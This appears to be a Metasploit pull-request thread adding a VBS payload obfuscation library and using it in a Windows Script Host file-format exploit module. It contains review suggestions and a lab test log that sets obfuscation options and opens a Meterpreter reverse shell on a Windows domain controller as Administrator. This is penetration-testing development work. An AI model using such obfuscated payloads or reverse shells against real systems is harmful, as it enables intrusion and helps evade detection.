Msf::Exploit::VBSObfuscate: Add VBS obfuscation library

[bcoles]

Wires up the Msf::Exploit::VBSObfuscate mixin interface for the new Rex::Exploitation::VBSObfuscate library (rapid7/rex-exploitation#47) and updates the exploit/windows/fileformat/windows_script_host_vbscript module to use it.

[adfoster-r7]

Not a blocker; I don't think this is required anymore 🤔

Suggested change

	], Exploit::VBSObfuscate)
	])

[adfoster-r7]

Not a blocker:

Suggested change

	obfuscate_opts = {}
	obfuscate_opts.merge!(iterations: iterations)
	obfuscate_opts.merge!(normalize_whitespace: normalize_whitespace)
	obfuscate_opts.merge!(dynamic_execution: dynamic_execution)
	obfuscate_opts = {
	iterations: iterations,
	normalize_whitespace: normalize_whitespace,
	dynamic_execution: dynamic_execution
	}

[adfoster-r7]

Was this meant to use the mixin? 🤔

Suggested change

	vbs << Rex::Exploitation::VBSObfuscate.new(vbs_payload).obfuscate!.to_s
	vbs << vbs_obfuscate(vbs_payload)

[bcoles]

Pushed again to update the default behavior in line with the library default behavior (normalize white space and use dynamic execution by default).

[jheysel-r7]

Thanks @bcoles 🙏

Testing

msf exploit(windows/fileformat/windows_script_host_vbscript) > set OBFUSCATE true
OBFUSCATE => true
msf exploit(windows/fileformat/windows_script_host_vbscript) > set VbsObfuscate 2
VbsObfuscate => 2
msf exploit(windows/fileformat/windows_script_host_vbscript) > set FETCH_WRITABLE_DIR C:\\Windows\\Temp
FETCH_WRITABLE_DIR => C:\Windows\Temp
msf exploit(windows/fileformat/windows_script_host_vbscript) > set DisablePayloadHandler false
DisablePayloadHandler => false
msf exploit(windows/fileformat/windows_script_host_vbscript) > set WfsDelay 1000
WfsDelay => 1000
msf exploit(windows/fileformat/windows_script_host_vbscript) > run
[*] Started reverse TCP handler on 172.16.199.130:4444
[+] msf.vbs stored at /home/msfuser/.msf4/local/msf.vbs
[*] Sending stage (203846 bytes) to 172.16.199.200
[*] Meterpreter session 1 opened (172.16.199.130:4444 -> 172.16.199.200:51285) at 2025-10-03 12:07:04 -0700

meterpreter > getuid
Server username: KERBEROS\Administrator
meterpreter > sysinfo
Computer        : DC2
OS              : Windows Server 2019 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : KERBEROS
Logged On Users : 5
Meterpreter     : x64/windows
meterpreter > exit
[*] Shutting down session: 1

[*] 172.16.199.200 - Meterpreter session 1 closed.  Reason: User exit

Setting VbsObfuscate to 6 output an 800MB payload 👍

➜  local ls -ltr
total 813060
-rw-rw-r-- 1 msfuser msfuser 832565507 Oct  3 12:47 msf.vbs

[jheysel-r7]

Release Notes

This adds a new library for VBS payload obfuscation and updates the windows/fileformat/windows_script_host_vbscript module to make use of the new library.